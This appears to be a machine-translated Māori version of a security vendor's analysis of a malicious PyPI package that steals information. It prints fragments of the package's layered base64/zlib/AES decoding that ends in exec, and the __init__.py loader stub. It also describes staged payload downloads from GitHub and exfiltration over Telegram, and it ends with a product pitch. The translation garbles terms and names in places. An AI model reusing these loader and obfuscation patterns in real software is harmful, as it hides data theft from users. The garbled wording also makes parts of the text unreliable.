Te mōkihi Python miro-rere, i kitea i runga i te PyPI, kua tautuhia ko kino, kei roto he pūmanawa kino tahae mōhiohio tuku iho. Heoi, ko tōna āhuatanga matua ko te whakamahinga o ngā tikanga huna waehere matatau e huna ana i tana kawenga, e tino uaua ai te tātari. E toru ngā paparanga huna e whakamahia ana e tēnei pūmanawa kino puta noa i tana mekameka whakaeke, e hanga ana i ngā arai nui mō te wetewete ā-ringa.
Pepa Tinihanga: Pūmanawa Kino Tahae Mōhiohio me te Whakapōrearea Waehere
He aha te Pūmanawa Kino Infostealer?
He tahae puku te mahi a te pūmanawa Infostealer i roto i tō ao matihiko. Ka hopu puku i ngā mōhiohio tairongo, pērā i ō kupuhipa, tau kāri nama, taipitopito whaiaro rānei, me te kore e mōhiotia e koe. Ka hopukina e ēnei papatono ngā mea e patohia ana e koe (keylogging), ka tahaetia tō pūtirotiro, ka matawai rānei i ngā kōnae i runga i tō pūrere hei kohikohi raraunga nui. Ko te wāhanga tino whakamataku? He tino pai ki a rātou te noho huna.
1. Whakamunatanga Takitoru
Ka tīmata te tukanga huna me te utauta kua tino whakamunatia kua whakauruhia ki roto i te fluent.py kōnae. Ka taea te whakarāpopoto i te tukanga whakawaehere me te wetewete tuatahi penei:
encoded_data = base64_module.b64decode("... BASE-6 with encrypted payload, IV and RSA-encrypted keys…”); # … Sequential decryption: ChaCha20, Blowfish and AES … encrypted_payload = AES_Cipher.new(aes_key, AES_Cipher.MODE_CBC, iv=aes_iv).decrypt(encrypted_payload[16:]) final_payload = unpad_function(encrypted_payload, AES_Cipher.block_size) exec( zlib_module.decompress(bz2_module.decompress(final_payload)) ) Ko tēnei tukanga whakapouri e whai wāhi ana ki:
- Ko te whakahekeMā te whakamahi i te gzip me te bzip.
- Whakaaetanga whakamutuWhakamunatanga mekameka me ChaCha20, Blowfish, me AES.
- Whakamunatanga hangariteRSA e whakamahia ana hei whakamuna i ngā kī ōrite.
Ka tāuruhia te hua ki roto i te Base64, ā, ka whakaurua hei raraunga_whakakōnaeKa hangaia ia putanga i runga i te mea o mua, ka hangaia he hanganga whakamunatanga kōpuku e tino uaua ai te hura i te kawenga tuturu me te kore he hangarau whakamuri.
2. Te Whakakorenga Gzip
I roto i ngā takahanga maha, ka whakamahia e te pūmanawa kino tētahi tikanga huna māmā engari whai hua: te kōpeketanga Gzip me te whakawaehere Base64.
import base64, zlib; eval(zlib.decompress(base64.b64decode(<STR>).decode('utf-8')) Mā tēnei tikanga ka noho huna tonu te kawenga kua hunaia puta noa i ngā wāhanga.
3. Te Hononga Waehere me te Whakaemi Hihiri
Ko te paparanga whakamutunga ko te wehewehe i te kawenga kua huna ki roto i ngā taurangi maha, ka honoa hihiritia, ka wetewetehia hoki i te wā e whakahaerehia ana:
import base64, zlib FEQXCBDOZKHVIhT = '...' # ....(111 other variables with base-64 encoded values) ... zZytWuvuEdBXSrO = eval(<FEQXCBDOZKHVIhT' encoded with '\x>) + eval(<next variable, encoded>) + eval( ' zlib.decompress(base64.b64decode(<VAR>)).decode('utf-8') ') + ... eval(compile(base64.b64decode(eval(zZytWuvuEdBXSrO)).decode('utf-8'), ‘<app>', 'exec')) He tino uaua tēnei wāhanga ki te hanga whakamuri ā-ringa, nā te mea me wetewete ia taurangi me te whakakotahi anō kia kitea ai te kawenga e whai ake nei.
Mā te whakakotahi i ēnei tikanga huna, ka infostealer malware in miro-rere ka karo i te kitea, e whakaatu ana i te tūranga nui o Waehere Pokarekare i roto i ngā whakaekenga ipurangi o ēnei rā.
Te Mekameka Whakaeke Maha-Wāhanga o ThreadFluent
te miro-rere infostealer malware e whā ngā wāhanga motuhake, ia wāhanga ka whakaurua mai he paparanga anō o Waehere PokarekareEhara i te mea ko te tuku noa i te kawenga te mahi a ēnei wāhanga, engari ko te tiaki hoki i a ia mai i te kitenga me te tātari.
Wāhanga 0: Te Whakahaere Waehere Tuatahi
Ko te pūwāhi tomo ko __init__.py kōnae, e tīmata ana i te whakahaerenga o te kawenga kua huna i roto i fluent.py. Ka whakamahia e tēnei kōnae te whakapōrearea paparanga maha (e ai ki te whakaahuatanga i ngā taahiraa 1–3) hei whakaputa i te maturuturunga o te Wāhanga 1:
import os,threading def main(): if os.name == 'nt': from . import fluent fluent.main() thread = threading.Thread(target=main , daemon=True) thread.start() Wāhanga 1: Te Whakataka Tuatahi
Ka tangohia te kōpaki tuatahi, ka tāutahia he waehere kino anō, puts.py, mai i tētahi putunga raraunga GitHub Ngā waewae-makawe-whero-1337/repuests (whakatūpato: he waehere kino pea kei konei).
Ka whakauruhia te maturuturu puts.py ki roto i te whakaurunga ā-rohe o te rongonui Tono whare pukapuka, e whakarerekē ana i tana __init__.py kōnae hei whakahaere i te deobfuscation me te whakahaere i te taahiraa e whai ake nei. Ko tēnei deobfuscation he huri i ngā tono maha o ngā paparanga obfuscation 1 … 3.
Wāhanga 2: Te Whakataka Tuarua
Ka tangohia te tuarua o ngā maturuturunga i muri i te tukanga kotahi, ka tikiake anō i tētahi atu kawenga, ssl.py mai i te putunga GitHub, ka whakaingoatia anō ko udp.py, ā, ka whakaputa i tētahi kōnae maukati hei whakarite kia kore te pūmanawa kino e tāuta anō i ngā wā katoa. Kātahi ka whakahaerehia hei whakakore i te pōhēhē, ka hua ake ko te kawenga whakamutunga o te kaitahae mōhiohio.
Wāhanga 3: Kaitahae Mōhiohio Whakamutunga
Ko te wāhanga whakamutunga he tahae mōhiohio tino mahi e whakamahi ana i ngā tikanga karo matatau:
- Ngā āhuatanga ārai-tātari:
- Ka kitea ngā taputapu ārai pūmanawa kino, ā, ka whakamutua mēnā ka kitea he tukanga, he IP, he ingoa kaihautū, he taiao mariko rānei kua rārangi pangotia.
- Te tangohanga raraunga:
- Ka hopu i ngā mōhiohio whānui. Mai i te IP, te wāhitau Mac, ngā raraunga VPN, ngā pihikete/hītori tirotiro, ngā raraunga kāri nama me ngā taipitopito putea matihiko me ētahi atu, tae atu ki te hopu mata.
- Ka tukuna ngā raraunga tahaetia (kua whakamunatia) mā te hongere Telegram, mā te whakamahi i te tauira e whakaaturia ana i konei:
Rautaki Whakakore i te Huna
Hei tātari i ngā mōkihi rite, me huri pūnaha ngā kairangahau i ōna paparanga whakapouri:
- Tātaitia ngā Hipanga Whakapōrearea: Tuhia ngā tuhinga hei whakatauira i ngā panonitanga (hei tauira, te wetewete, te whakawhāiti) me te kore e whakahaere i te kawenga.
- Ngā Papa Whakamunatanga Whakamuri: Tangohia me te wetemuna i te kawenga mā te whakamahi i ngā kī me ngā rauropi kua whakauruhia.
- Tātaritanga Whakahōu: Tukatukahia ia wāhanga waenga i ia wā kia hanga anō ai i te kawenga whakamutunga.
He mea nui ngā taputapu aunoa me ngā taiao kua whakakīia ki te onepu hei whakahaere i tēnei tātaritanga.
Kei te hiahia koe ki te ako atu mō te noho ki mua i ngā tūmomo mōrearea i te wā tonu?
Tikiake i tā mātou pepa mā, 'Whakatūpato Moata: Te Kitenga Tūkino me te Whakaritenga Matua i te Wā Tuturu,' ka kitea me pēhea te tiaki i tō mekameka tuku pūmanawa.
Te Kaiwhakaari Rite
Te āhua nei i whakaputaina te mōkihi mai i ngā pūkete PyPI e rua, ABIRHOSSAIN10 a anomilano785, kua tangohia i tēnei wā.
He pūkete GitHub (e mahi ana i tēnei wā) ko tōna ingoa ABIRHOSSAIN10, tērā pea e pā ana ki te kaupapa. Ko te Ngā waewae-makawe-whero-1337 Kei te tātarihia hoki te kaiwhakamahi GitHub, nāna te putunga raraunga i whakamahia mō te tango i ngā kawenga wāhanga 2 me te 3.
Ahakoa he uaua te tohu i te hononga, ā, he taea pea te whakauru atu ki tētahi tīma whero, ko te momo me te nui o ngā kōrero i tukuna mai he tohu kei te kino te mahi a te tangata.
Whakamutunga: Te Tūranga o te Whakapōrearea Waehere i roto i te Whanaketanga Pūmanawa Kino
te miro-rere He tauira tēnei mōkihi mō te whakakore i ngā pūmanawa kino hou i roto i tana tukunga maha-wāhanga. I te taha o ngā tikanga karo i whakamahia, e whakaatu ana tēnei mōkihi i tētahi mahi mārama ki te karo i te kitenga me te ātete i te tātaritanga.
E whakaatu ana tēnei tātaritanga i te hiranga o ngā mahi tahi me ngā taputapu aunoa hei whawhai i ēnei tūmomo tūmomo riri. Mā te wetewete me te mārama ki ēnei tikanga, ka taea e ngā tohunga haumarutanga te whakawhanake i ngā parenga pai ake mō ngā pūmanawa kino rite tonu ā muri ake nei.
Me pēhea te aukati a te Pūnaha MEW a Xygeni i te Mōkihi Threadfluent Kino kia tae atu ki te Whakaputa
Xygeni's Whakatūpato Moata Pūmanawa Kino (MEW) he mea nui te pūnaha ki te aukati i te miro-rere Mōkihi Python, he whakawhirinakitanga kino kei roto ngā mea matatau te whakapōrearea waehere me te maha-wāhanga infostealer malware, i mua i te whakararu i ngā taiao whakaputa. Pēnei te mahi:
- Te Kitenga mā te Tātaritanga Pūmau
MEW i kitea miro-rerete waehere huna, te kimi i ngā tohu whakapae pērā i te whakamunatanga paparua me te mahi whakawhirinakitanga rerekē. - Aromatawai Taenga Wā-Oma
I kitea e te pūnaha ka taea e te waehere o te mōkihi te rere i te wā e whakamahia ana, ka tohuhia he tūmomo mōrearea nui ahakoa kāore e whakahaerehia. - CI/CD Pipeline Parenga
Kua āraia te MEW miro-rere i te wā tūturu, i aukati i te whakaurunga ki ngā hanganga, ā, i aukati hoki i te taenga atu ki te whakaputanga. I tukuna e ia he whakatūpato mahi ki ngā kaiwhakawhanake, i penapena ai i te wā nui. - Te Tiritiri Matauranga mō ngā Tūraru
I tere te ripoata a Xygeni i te mōkihi ki a PyPI, ā, i tohaina āna kitenga ki tana whatunga haumarutanga ā-ao, kia kore ai e horapa atu.
Tiakina To CI/CD Pipelines mo te kore utu
Ārai i ngā tūmomo mōrearea pēnei i te miro-rere me te pūnaha whakatūpato mō ngā pūmanawa kino a Xygeni. Tīmatahia tō whakamātautau kore i tēnei rā, ā, kia mau te mekameka tuku pūmanawa mōu.
Louis Rodriguez
He tohunga tinana a Luis Rodriguezcist + tohunga pāngarau me CISSP. He kaiwhakaū me te CTO i Xygeni Security i tēnei wā. Neke atu i te 20 tau ōna wheako ki te haumarutanga pūmanawa, ā, i whai wāhi atu ia ki ngā kaupapa pēnei i SAST a SCAKei te arotahi ia i tēnei wā ki software supply chain security.
Raniera Mātīni
He tohunga haumarutanga tukutuku a Daniel Martín, he mema hoki nō te tīma rangahau haumarutanga Xygeni, he tohunga ki SDLC te whakaiti i te ngoikoretanga o te haumarutanga me te taupānga.
